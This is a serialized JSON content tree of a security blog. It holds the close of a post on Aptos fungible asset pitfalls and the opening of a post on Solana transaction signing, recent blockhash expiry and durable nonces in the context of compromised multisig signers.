maybe_convert_to_fungible_store",{"type":25,"tag":216,"props":71396,"children":71397},{"style":6958},[71398],{"type":31,"value":9751},{"type":25,"tag":216,"props":71400,"children":71401},{"style":7369},[71402],{"type":31,"value":10529},{"type":25,"tag":216,"props":71404,"children":71405},{"style":6958},[71406],{"type":31,"value":71407},">(signer",{"type":25,"tag":216,"props":71409,"children":71410},{"style":6947},[71411],{"type":31,"value":7432},{"type":25,"tag":216,"props":71413,"children":71414},{"style":7041},[71415],{"type":31,"value":11155},{"type":25,"tag":216,"props":71417,"children":71418},{"style":6958},[71419],{"type":31,"value":1844},{"type":25,"tag":216,"props":71421,"children":71422},{"style":6941},[71423],{"type":31,"value":16903},{"type":25,"tag":216,"props":71425,"children":71426},{"style":6958},[71427],{"type":31,"value":11169},{"type":25,"tag":216,"props":71429,"children":71430},{"class":6916,"line":7210},[71431],{"type":25,"tag":216,"props":71432,"children":71433},{"style":6958},[71434],{"type":31,"value":7868},{"type":25,"tag":38,"props":71436,"children":71437},{},[71438,71440,71445,71447,71452],{"type":31,"value":71439},"A curious reader might wonder about the fate of the ",{"type":25,"tag":82,"props":71441,"children":71443},{"className":71442},[],[71444],{"type":31,"value":65090},{"type":31,"value":71446}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":25,"tag":82,"props":71448,"children":71450},{"className":71449},[],[71451],{"type":31,"value":65090},{"type":31,"value":71453}," to ensure consistency.",{"type":25,"tag":70148,"props":71455,"children":71456},{},[71457,71476],{"type":25,"tag":38,"props":71458,"children":71459},{},[71460,71462,71467,71469,71474],{"type":31,"value":71461},"Could an attacker convert their ",{"type":25,"tag":82,"props":71463,"children":71465},{"className":71464},[],[71466],{"type":31,"value":65090},{"type":31,"value":71468}," to a primary fungible store and then register another ",{"type":25,"tag":82,"props":71470,"children":71472},{"className":71471},[],[71473],{"type":31,"value":65090},{"type":31,"value":71475}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":25,"tag":70179,"props":71477,"children":71478},{"v-slot:answer-0":7},[71479],{"type":25,"tag":38,"props":71480,"children":71481},{},[71482],{"type":31,"value":71483},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":25,"tag":26,"props":71485,"children":71486},{"id":32886},[71487],{"type":31,"value":22901},{"type":25,"tag":38,"props":71489,"children":71490},{},[71491,71493,71498],{"type":31,"value":71492},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":25,"tag":82,"props":71494,"children":71496},{"className":71495},[],[71497],{"type":31,"value":64928},{"type":31,"value":179},{"type":25,"tag":38,"props":71500,"children":71501},{},[71502],{"type":31,"value":71503},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":25,"tag":38,"props":71505,"children":71506},{},[71507,71509],{"type":31,"value":71508},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":25,"tag":19425,"props":71510,"children":71511},{},[71512],{"type":25,"tag":162,"props":71513,"children":71515},{"href":33578,"ariaDescribedBy":71514,"dataFootnoteRef":7,"id":33580},[19432],[71516],{"type":31,"value":184},{"type":25,"tag":22375,"props":71518,"children":71520},{"className":71519,"dataFootnotes":7},[22378],[71521,71526],{"type":25,"tag":26,"props":71522,"children":71524},{"className":71523,"id":19432},[22383],[71525],{"type":31,"value":22386},{"type":25,"tag":6705,"props":71527,"children":71528},{},[71529],{"type":25,"tag":2037,"props":71530,"children":71531},{"id":34321},[71532,71534,71576],{"type":31,"value":71533},"There are at least four functions that can withdraw a fungible asset:",{"type":25,"tag":2033,"props":71535,"children":71536},{},[71537,71547,71556,71566],{"type":25,"tag":2037,"props":71538,"children":71539},{},[71540],{"type":25,"tag":162,"props":71541,"children":71545},{"href":71542,"rel":71543,":style":71544},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[166],"color: #007bff;",[71546],{"type":31,"value":68229},{"type":25,"tag":2037,"props":71548,"children":71549},{},[71550],{"type":25,"tag":162,"props":71551,"children":71554},{"href":71552,"rel":71553,":style":71544},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[166],[71555],{"type":31,"value":70169},{"type":25,"tag":2037,"props":71557,"children":71558},{},[71559],{"type":25,"tag":162,"props":71560,"children":71563},{"href":71561,"rel":71562,":style":71544},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[166],[71564],{"type":31,"value":71565},"primary_fungible_store::withdraw",{"type":25,"tag":2037,"props":71567,"children":71568},{},[71569],{"type":25,"tag":162,"props":71570,"children":71573},{"href":71571,"rel":71572,":style":71544},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[166],[71574],{"type":31,"value":71575},"coin::withdraw",{"type":25,"tag":162,"props":71577,"children":71579},{"href":34349,"ariaLabel":22489,"className":71578,"dataFootnoteBackref":7},[22491],[71580],{"type":31,"value":22494},{"type":25,"tag":9310,"props":71582,"children":71583},{},[71584],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":71586},[71587,71588,71589,71592,71597,71598,71599,71600],{"id":64914,"depth":6763,"text":64917},{"id":65459,"depth":6763,"text":65462},{"id":66019,"depth":6763,"text":66022,"children":71590},[71591],{"id":66530,"depth":6772,"text":66533},{"id":66787,"depth":6763,"text":66790,"children":71593},[71594,71595,71596],{"id":66830,"depth":6772,"text":66833},{"id":67535,"depth":6772,"text":67538},{"id":69193,"depth":6772,"text":69196},{"id":69724,"depth":6763,"text":69727},{"id":70705,"depth":6763,"text":70708},{"id":32886,"depth":6763,"text":22901},{"id":19432,"depth":6763,"text":22386},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":71605,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71606,"description":71607,"date":71608,"author":9664,"image":71609,"isFeatured":16,"onBlogPage":16,"tags":71611,"body":71612,"_type":6792,"_id":73440,"_source":6794,"_file":73441,"_stem":73442,"_extension":6797},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":71610,"width":9330,"height":9331},"/posts/multisig-security/title.png",[6809],{"type":22,"children":71613,"toc":73431},[71614,71627,71633,71638,71644,71657,71665,71678,71738,71760,71887,71892,71905,71917,71923,71937,71950,71964,72446,72451,72459,72473,72487,72626,72638,72644,72649,72667,72672,72677,72698,72982,72997,73185,73198,73327,73332,73337,73342,73370,73376,73381,73395,73427],{"type":25,"tag":38,"props":71615,"children":71616},{},[71617,71618,71625],{"type":31,"value":474},{"type":25,"tag":162,"props":71619,"children":71622},{"href":71620,"rel":71621},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[166],[71623],{"type":31,"value":71624},"Bybit hack",{"type":31,"value":71626}," raises an interesting question: what can teams do if their signers are compromised?",{"type":25,"tag":26,"props":71628,"children":71630},{"id":71629},"solana-signatures",[71631],{"type":31,"value":71632},"Solana Signatures",{"type":25,"tag":38,"props":71634,"children":71635},{},[71636],{"type":31,"value":71637},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":25,"tag":607,"props":71639,"children":71641},{"id":71640},"recent-blockhash",[71642],{"type":31,"value":71643},"Recent Blockhash",{"type":25,"tag":38,"props":71645,"children":71646},{},[71647,71649,71656],{"type":31,"value":71648},"The most straightforward is with a \"recent blockhash\". From ",{"type":25,"tag":162,"props":71650,"children":71653},{"href":71651,"rel":71652},"https://solana.com/developers/guides/advanced/confirmation",[166],[71654],{"type":31,"value":71655},"the docs",{"type":31,"value":1466},{"type":25,"tag":34,"props":71658,"children":71659},{},[71660],{"type":25,"tag":38,"props":71661,"children":71662},{},[71663],{"type":31,"value":71664},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":25,"tag":38,"props":71666,"children":71667},{},[71668,71670,71677],{"type":31,"value":71669},"The actual constant ",{"type":25,"tag":162,"props":71671,"children":71674},{"href":71672,"rel":71673},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[166],[71675],{"type":31,"value":71676},"is defined here",{"type":31,"value":179},{"type":25,"tag":206,"props":71679,"children":71681},{"className":6909,"code":71680,"language":6908,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[71682],{"type":25,"tag":82,"props":71683,"children":71684},{"__ignoreMap":7},[71685,71693],{"type":25,"tag":216,"props":71686,"children":71687},{"class":6916,"line":6917},[71688],{"type":25,"tag":216,"props":71689,"children":71690},{"style":6921},[71691],{"type":31,"value":71692},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":25,"tag":216,"props":71694,"children":71695},{"class":6916,"line":6763},[71696,71700,71704,71709,71713,71717,71721,71726,71730,71734],{"type":25,"tag":216,"props":71697,"children":71698},{"style":6930},[71699],{"type":31,"value":17641},{"type":25,"tag":216,"props":71701,"children":71702},{"style":6930},[71703],{"type":31,"value":43068},{"type":25,"tag":216,"props":71705,"children":71706},{"style":6958},[71707],{"type":31,"value":71708}," MAX_PROCESSING_AGE",{"type":25,"tag":216,"props":71710,"children":71711},{"style":6947},[71712],{"type":31,"value":1466},{"type":25,"tag":216,"props":71714,"children":71715},{"style":7369},[71716],{"type":31,"value":17682},{"type":25,"tag":216,"props":71718,"children":71719},{"style":6947},[71720],{"type":31,"value":6950},{"type":25,"tag":216,"props":71722,"children":71723},{"style":6958},[71724],{"type":31,"value":71725}," MAX_RECENT_BLOCKHASHES ",{"type":25,"tag":216,"props":71727,"children":71728},{"style":6947},[71729],{"type":31,"value":5749},{"type":25,"tag":216,"props":71731,"children":71732},{"style":6983},[71733],{"type":31,"value":11880},{"type":25,"tag":216,"props":71735,"children":71736},{"style":6958},[71737],{"type":31,"value":6961},{"type":25,"tag":38,"props":71739,"children":71740},{},[71741,71743,71750,71752,71758],{"type":31,"value":71742},"For those curious, the logic ",{"type":25,"tag":162,"props":71744,"children":71747},{"href":71745,"rel":71746},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[166],[71748],{"type":31,"value":71749},"starts here",{"type":31,"value":71751}," and is quite straightforward to follow, ending in a ",{"type":25,"tag":82,"props":71753,"children":71755},{"className":71754},[],[71756],{"type":31,"value":71757},"is_hash_index_valid",{"type":31,"value":71759}," check.",{"type":25,"tag":206,"props":71761,"children":71763},{"className":6909,"code":71762,"language":6908,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[71764],{"type":25,"tag":82,"props":71765,"children":71766},{"__ignoreMap":7},[71767,71846,71880],{"type":25,"tag":216,"props":71768,"children":71769},{"class":6916,"line":6917},[71770,71774,71779,71783,71788,71792,71796,71800,71805,71809,71813,71817,71822,71826,71830,71834,71838,71842],{"type":25,"tag":216,"props":71771,"children":71772},{"style":6930},[71773],{"type":31,"value":24220},{"type":25,"tag":216,"props":71775,"children":71776},{"style":7041},[71777],{"type":31,"value":71778}," is_hash_index_valid",{"type":25,"tag":216,"props":71780,"children":71781},{"style":6958},[71782],{"type":31,"value":1844},{"type":25,"tag":216,"props":71784,"children":71785},{"style":6941},[71786],{"type":31,"value":71787},"last_hash_index",{"type":25,"tag":216,"props":71789,"children":71790},{"style":6947},[71791],{"type":31,"value":1466},{"type":25,"tag":216,"props":71793,"children":71794},{"style":7369},[71795],{"type":31,"value":9805},{"type":25,"tag":216,"props":71797,"children":71798},{"style":6958},[71799],{"type":31,"value":7020},{"type":25,"tag":216,"props":71801,"children":71802},{"style":6941},[71803],{"type":31,"value":71804},"max_age",{"type":25,"tag":216,"props":71806,"children":71807},{"style":6947},[71808],{"type":31,"value":1466},{"type":25,"tag":216,"props":71810,"children":71811},{"style":7369},[71812],{"type":31,"value":17682},{"type":25,"tag":216,"props":71814,"children":71815},{"style":6958},[71816],{"type":31,"value":7020},{"type":25,"tag":216,"props":71818,"children":71819},{"style":6941},[71820],{"type":31,"value":71821},"hash_index",{"type":25,"tag":216,"props":71823,"children":71824},{"style":6947},[71825],{"type":31,"value":1466},{"type":25,"tag":216,"props":71827,"children":71828},{"style":7369},[71829],{"type":31,"value":9805},{"type":25,"tag":216,"props":71831,"children":71832},{"style":6958},[71833],{"type":31,"value":7030},{"type":25,"tag":216,"props":71835,"children":71836},{"style":6947},[71837],{"type":31,"value":17708},{"type":25,"tag":216,"props":71839,"children":71840},{"style":7369},[71841],{"type":31,"value":16000},{"type":25,"tag":216,"props":71843,"children":71844},{"style":6958},[71845],{"type":31,"value":7235},{"type":25,"tag":216,"props":71847,"children":71848},{"class":6916,"line":6763},[71849,71854,71858,71863,71867,71872,71876],{"type":25,"tag":216,"props":71850,"children":71851},{"style":6941},[71852],{"type":31,"value":71853},"    last_hash_index",{"type":25,"tag":216,"props":71855,"children":71856},{"style":6947},[71857],{"type":31,"value":55218},{"type":25,"tag":216,"props":71859,"children":71860},{"style":6941},[71861],{"type":31,"value":71862}," hash_index",{"type":25,"tag":216,"props":71864,"children":71865},{"style":6947},[71866],{"type":31,"value":12143},{"type":25,"tag":216,"props":71868,"children":71869},{"style":6941},[71870],{"type":31,"value":71871}," max_age",{"type":25,"tag":216,"props":71873,"children":71874},{"style":6930},[71875],{"type":31,"value":12775},{"type":25,"tag":216,"props":71877,"children":71878},{"style":7369},[71879],{"type":31,"value":17147},{"type":25,"tag":216,"props":71881,"children":71882},{"class":6916,"line":6772},[71883],{"type":25,"tag":216,"props":71884,"children":71885},{"style":6958},[71886],{"type":31,"value":7868},{"type":25,"tag":38,"props":71888,"children":71889},{},[71890],{"type":31,"value":71891},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":25,"tag":34,"props":71893,"children":71894},{},[71895],{"type":25,"tag":38,"props":71896,"children":71897},{},[71898,71900],{"type":31,"value":71899},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":25,"tag":9267,"props":71901,"children":71902},{},[71903],{"type":31,"value":71904},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":25,"tag":38,"props":71906,"children":71907},{},[71908,71910,71915],{"type":31,"value":71909},"This means an attacker ",{"type":25,"tag":64,"props":71911,"children":71912},{},[71913],{"type":31,"value":71914},"must use",{"type":31,"value":71916}," a malicious signed transaction within a short timeframe.",{"type":25,"tag":607,"props":71918,"children":71920},{"id":71919},"durable-nonce",[71921],{"type":31,"value":71922},"Durable Nonce",{"type":25,"tag":38,"props":71924,"children":71925},{},[71926,71928,71935],{"type":31,"value":71927},"The second type of signature ",{"type":25,"tag":162,"props":71929,"children":71932},{"href":71930,"rel":71931},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[166],[71933],{"type":31,"value":71934},"is a durable nonce",{"type":31,"value":71936},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":25,"tag":34,"props":71938,"children":71939},{},[71940],{"type":25,"tag":38,"props":71941,"children":71942},{},[71943,71945],{"type":31,"value":71944},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":25,"tag":9267,"props":71946,"children":71947},{},[71948],{"type":31,"value":71949},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":25,"tag":38,"props":71951,"children":71952},{},[71953,71955,71962],{"type":31,"value":71954},"If we examine the code ",{"type":25,"tag":162,"props":71956,"children":71959},{"href":71957,"rel":71958},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[166],[71960],{"type":31,"value":71961},"for recent blockhash validation",{"type":31,"value":71963},", we can also see the handling for durable nonces.",{"type":25,"tag":206,"props":71965,"children":71967},{"className":6909,"code":71966,"language":6908,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[71968],{"type":25,"tag":82,"props":71969,"children":71970},{"__ignoreMap":7},[71971,72018,72084,72104,72124,72154,72162,72216,72233,72253,72265,72277,72285,72292,72311,72338,72358,72365,72380,72410,72439],{"type":25,"tag":216,"props":71972,"children":71973},{"class":6916,"line":6917},[71974,71978,71983,71987,71992,71996,72001,72005,72009,72014],{"type":25,"tag":216,"props":71975,"children":71976},{"style":6930},[71977],{"type":31,"value":6933},{"type":25,"tag":216,"props":71979,"children":71980},{"style":6941},[71981],{"type":31,"value":71982}," recent_blockhash",{"type":25,"tag":216,"props":71984,"children":71985},{"style":6947},[71986],{"type":31,"value":6950},{"type":25,"tag":216,"props":71988,"children":71989},{"style":6941},[71990],{"type":31,"value":71991}," tx",{"type":25,"tag":216,"props":71993,"children":71994},{"style":6947},[71995],{"type":31,"value":179},{"type":25,"tag":216,"props":71997,"children":71998},{"style":7041},[71999],{"type":31,"value":72000},"message",{"type":25,"tag":216,"props":72002,"children":72003},{"style":6958},[72004],{"type":31,"value":17830},{"type":25,"tag":216,"props":72006,"children":72007},{"style":6947},[72008],{"type":31,"value":179},{"type":25,"tag":216,"props":72010,"children":72011},{"style":7041},[72012],{"type":31,"value":72013},"recent_blockhash",{"type":25,"tag":216,"props":72015,"children":72016},{"style":6958},[72017],{"type":31,"value":7627},{"type":25,"tag":216,"props":72019,"children":72020},{"class":6916,"line":6763},[72021,72025,72029,72033,72037,72042,72046,72050,72055,72059,72064,72068,72072,72076,72080],{"type":25,"tag":216,"props":72022,"children":72023},{"style":6967},[72024],{"type":31,"value":16229},{"type":25,"tag":216,"props":72026,"children":72027},{"style":6930},[72028],{"type":31,"value":31257},{"type":25,"tag":216,"props":72030,"children":72031},{"style":7369},[72032],{"type":31,"value":31262},{"type":25,"tag":216,"props":72034,"children":72035},{"style":6958},[72036],{"type":31,"value":1844},{"type":25,"tag":216,"props":72038,"children":72039},{"style":6941},[72040],{"type":31,"value":72041},"hash_info",{"type":25,"tag":216,"props":72043,"children":72044},{"style":6958},[72045],{"type":31,"value":7030},{"type":25,"tag":216,"props":72047,"children":72048},{"style":6947},[72049],{"type":31,"value":266},{"type":25,"tag":216,"props":72051,"children":72052},{"style":6941},[72053],{"type":31,"value":72054}," hash_queue",{"type":25,"tag":216,"props":72056,"children":72057},{"style":6947},[72058],{"type":31,"value":179},{"type":25,"tag":216,"props":72060,"children":72061},{"style":7041},[72062],{"type":31,"value":72063},"get_hash_info_if_valid",{"type":25,"tag":216,"props":72065,"children":72066},{"style":6958},[72067],{"type":31,"value":1844},{"type":25,"tag":216,"props":72069,"children":72070},{"style":6941},[72071],{"type":31,"value":72013},{"type":25,"tag":216,"props":72073,"children":72074},{"style":6958},[72075],{"type":31,"value":7020},{"type":25,"tag":216,"props":72077,"children":72078},{"style":6941},[72079],{"type":31,"value":71804},{"type":25,"tag":216,"props":72081,"children":72082},{"style":6958},[72083],{"type":31,"value":18755},{"type":25,"tag":216,"props":72085,"children":72086},{"class":6916,"line":6772},[72087,72091,72095,72100],{"type":25,"tag":216,"props":72088,"children":72089},{"style":7369},[72090],{"type":31,"value":18763},{"type":25,"tag":216,"props":72092,"children":72093},{"style":6958},[72094],{"type":31,"value":1844},{"type":25,"tag":216,"props":72096,"children":72097},{"style":7369},[72098],{"type":31,"value":72099},"CheckedTransactionDetails",{"type":25,"tag":216,"props":72101,"children":72102},{"style":6958},[72103],{"type":31,"value":7235},{"type":25,"tag":216,"props":72105,"children":72106},{"class":6916,"line":6999},[72107,72112,72116,72120],{"type":25,"tag":216,"props":72108,"children":72109},{"style":6941},[72110],{"type":31,"value":72111},"            nonce",{"type":25,"tag":216,"props":72113,"children":72114},{"style":6947},[72115],{"type":31,"value":1466},{"type":25,"tag":216,"props":72117,"children":72118},{"style":7369},[72119],{"type":31,"value":31710},{"type":25,"tag":216,"props":72121,"children":72122},{"style":6958},[72123],{"type":31,"value":7459},{"type":25,"tag":216,"props":72125,"children":72126},{"class":6916,"line":7104},[72127,72132,72136,72141,72145,72150],{"type":25,"tag":216,"props":72128,"children":72129},{"style":6941},[72130],{"type":31,"value":72131},"            lamports_per_signature",{"type":25,"tag":216,"props":72133,"children":72134},{"style":6947},[72135],{"type":31,"value":1466},{"type":25,"tag":216,"props":72137,"children":72138},{"style":6941},[72139],{"type":31,"value":72140}," hash_info",{"type":25,"tag":216,"props":72142,"children":72143},{"style":6947},[72144],{"type":31,"value":179},{"type":25,"tag":216,"props":72146,"children":72147},{"style":7041},[72148],{"type":31,"value":72149},"lamports_per_signature",{"type":25,"tag":216,"props":72151,"children":72152},{"style":6958},[72153],{"type":31,"value":7442},{"type":25,"tag":216,"props":72155,"children":72156},{"class":6916,"line":7210},[72157],{"type":25,"tag":216,"props":72158,"children":72159},{"style":6958},[72160],{"type":31,"value":72161},"        })\n",{"type":25,"tag":216,"props":72163,"children":72164},{"class":6916,"line":7238},[72165,72169,72173,72177,72181,72185,72189,72194,72198,72203,72207,72211],{"type":25,"tag":216,"props":72166,"children":72167},{"style":6958},[72168],{"type":31,"value":19731},{"type":25,"tag":216,"props":72170,"children":72171},{"style":6967},[72172],{"type":31,"value":7262},{"type":25,"tag":216,"props":72174,"children":72175},{"style":6967},[72176],{"type":31,"value":19740},{"type":25,"tag":216,"props":72178,"children":72179},{"style":6930},[72180],{"type":31,"value":31257},{"type":25,"tag":216,"props":72182,"children":72183},{"style":7369},[72184],{"type":31,"value":31262},{"type":25,"tag":216,"props":72186,"children":72187},{"style":6958},[72188],{"type":31,"value":35479},{"type":25,"tag":216,"props":72190,"children":72191},{"style":6941},[72192],{"type":31,"value":72193},"nonce",{"type":25,"tag":216,"props":72195,"children":72196},{"style":6958},[72197],{"type":31,"value":7020},{"type":25,"tag":216,"props":72199,"children":72200},{"style":6941},[72201],{"type":31,"value":72202},"previous_lamports_per_signature",{"type":25,"tag":216,"props":72204,"children":72205},{"style":6958},[72206],{"type":31,"value":12784},{"type":25,"tag":216,"props":72208,"children":72209},{"style":6947},[72210],{"type":31,"value":266},{"type":25,"tag":216,"props":72212,"children":72213},{"style":6930},[72214],{"type":31,"value":72215}," self\n",{"type":25,"tag":216,"props":72217,"children":72218},{"class":6916,"line":7251},[72219,72224,72229],{"type":25,"tag":216,"props":72220,"children":72221},{"style":6947},[72222],{"type":31,"value":72223},"        .",{"type":25,"tag":216,"props":72225,"children":72226},{"style":7041},[72227],{"type":31,"value":72228},"check_load_and_advance_message_nonce_account",{"type":25,"tag":216,"props":72230,"children":72231},{"style":6958},[72232],{"type":31,"value":7414},{"type":25,"tag":216,"props":72234,"children":72235},{"class":6916,"line":7269},[72236,72241,72245,72249],{"type":25,"tag":216,"props":72237,"children":72238},{"style":6941},[72239],{"type":31,"value":72240},"            tx",{"type":25,"tag":216,"props":72242,"children":72243},{"style":6947},[72244],{"type":31,"value":179},{"type":25,"tag":216,"props":72246,"children":72247},{"style":7041},[72248],{"type":31,"value":72000},{"type":25,"tag":216,"props":72250,"children":72251},{"style":6958},[72252],{"type":31,"value":7442},{"type":25,"tag":216,"props":72254,"children":72255},{"class":6916,"line":7290},[72256,72261],{"type":25,"tag":216,"props":72257,"children":72258},{"style":6941},[72259],{"type":31,"value":72260},"            next_durable_nonce",{"type":25,"tag":216,"props":72262,"children":72263},{"style":6958},[72264],{"type":31,"value":7459},{"type":25,"tag":216,"props":72266,"children":72267},{"class":6916,"line":7299},[72268,72273],{"type":25,"tag":216,"props":72269,"children":72270},{"style":6941},[72271],{"type":31,"value":72272},"            next_lamports_per_signature",{"type":25,"tag":216,"props":72274,"children":72275},{"style":6958},[72276],{"type":31,"value":7459},{"type":25,"tag":216,"props":72278,"children":72279},{"class":6916,"line":7551},[72280],{"type":25,"tag":216,"props":72281,"children":72282},{"style":6958},[72283],{"type":31,"value":72284},"        )\n",{"type":25,"tag":216,"props":72286,"children":72287},{"class":6916,"line":7568},[72288],{"type":25,"tag":216,"props":72289,"children":72290},{"style":6958},[72291],{"type":31,"value":33141},{"type":25,"tag":216,"props":72293,"children":72294},{"class":6916,"line":7585},[72295,72299,72303,72307],{"type":25,"tag":216,"props":72296,"children":72297},{"style":7369},[72298],{"type":31,"value":18763},{"type":25,"tag":216,"props":72300,"children":72301},{"style":6958},[72302],{"type":31,"value":1844},{"type":25,"tag":216,"props":72304,"children":72305},{"style":7369},[72306],{"type":31,"value":72099},{"type":25,"tag":216,"props":72308,"children":72309},{"style":6958},[72310],{"type":31,"value":7235},{"type":25,"tag":216,"props":72312,"children":72313},{"class":6916,"line":7598},[72314,72318,72322,72326,72330,72334],{"type":25,"tag":216,"props":72315,"children":72316},{"style":6941},[72317],{"type":31,"value":72111},{"type":25,"tag":216,"props":72319,"children":72320},{"style":6947},[72321],{"type":31,"value":1466},{"type":25,"tag":216,"props":72323,"children":72324},{"style":7369},[72325],{"type":31,"value":31262},{"type":25,"tag":216,"props":72327,"children":72328},{"style":6958},[72329],{"type":31,"value":1844},{"type":25,"tag":216,"props":72331,"children":72332},{"style":6941},[72333],{"type":31,"value":72193},{"type":25,"tag":216,"props":72335,"children":72336},{"style":6958},[72337],{"type":31,"value":10682},{"type":25,"tag":216,"props":72339,"children":72340},{"class":6916,"line":7607},[72341,72345,72349,72354],{"type":25,"tag":216,"props":72342,"children":72343},{"style":6941},[72344],{"type":31,"value":72131},{"type":25,"tag":216,"props":72346,"children":72347},{"style":6947},[72348],{"type":31,"value":1466},{"type":25,"tag":216,"props":72350,"children":72351},{"style":6941},[72352],{"type":31,"value":72353}," previous_lamports_per_signature",{"type":25,"tag":216,"props":72355,"children":72356},{"style":6958},[72357],{"type":31,"value":7459},{"type":25,"tag":216,"props":72359,"children":72360},{"class":6916,"line":7630},[72361],{"type":25,"tag":216,"props":72362,"children":72363},{"style":6958},[72364],{"type":31,"value":72161},{"type":25,"tag":216,"props":72366,"children":72367},{"class":6916,"line":7639},[72368,72372,72376],{"type":25,"tag":216,"props":72369,"children":72370},{"style":6958},[72371],{"type":31,"value":19731},{"type":25,"tag":216,"props":72373,"children":72374},{"style":6967},[72375],{"type":31,"value":7262},{"type":25,"tag":216,"props":72377,"children":72378},{"style":6958},[72379],{"type":31,"value":7235},{"type":25,"tag":216,"props":72381,"children":72382},{"class":6916,"line":7648},[72383,72388,72392,72397,72402,72406],{"type":25,"tag":216,"props":72384,"children":72385},{"style":6941},[72386],{"type":31,"value":72387},"        error_counters",{"type":25,"tag":216,"props":72389,"children":72390},{"style":6947},[72391],{"type":31,"value":179},{"type":25,"tag":216,"props":72393,"children":72394},{"style":6958},[72395],{"type":31,"value":72396},"blockhash_not_found ",{"type":25,"tag":216,"props":72398,"children":72399},{"style":6947},[72400],{"type":31,"value":72401},"+=",{"type":25,"tag":216,"props":72403,"children":72404},{"style":6983},[72405],{"type":31,"value":8465},{"type":25,"tag":216,"props":72407,"children":72408},{"style":6958},[72409],{"type":31,"value":6961},{"type":25,"tag":216,"props":72411,"children":72412},{"class":6916,"line":7716},[72413,72417,72421,72426,72430,72435],{"type":25,"tag":216,"props":72414,"children":72415},{"style":7369},[72416],{"type":31,"value":18806},{"type":25,"tag":216,"props":72418,"children":72419},{"style":6958},[72420],{"type":31,"value":1844},{"type":25,"tag":216,"props":72422,"children":72423},{"style":7369},[72424],{"type":31,"value":72425},"TransactionError",{"type":25,"tag":216,"props":72427,"children":72428},{"style":6947},[72429],{"type":31,"value":7432},{"type":25,"tag":216,"props":72431,"children":72432},{"style":7369},[72433],{"type":31,"value":72434},"BlockhashNotFound",{"type":25,"tag":216,"props":72436,"children":72437},{"style":6958},[72438],{"type":31,"value":7101},{"type":25,"tag":216,"props":72440,"children":72441},{"class":6916,"line":7724},[72442],{"type":25,"tag":216,"props":72443,"children":72444},{"style":6958},[72445],{"type":31,"value":7305},{"type":25,"tag":38,"props":72447,"children":72448},{},[72449],{"type":31,"value":72450},"The documentation does a good job of explaining how they work.",{"type":25,"tag":34,"props":72452,"children":72453},{},[72454],{"type":25,"tag":38,"props":72455,"children":72456},{},[72457],{"type":31,"value":72458},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":25,"tag":38,"props":72460,"children":72461},{},[72462,72464,72471],{"type":31,"value":72463},"Durable nonces are created and 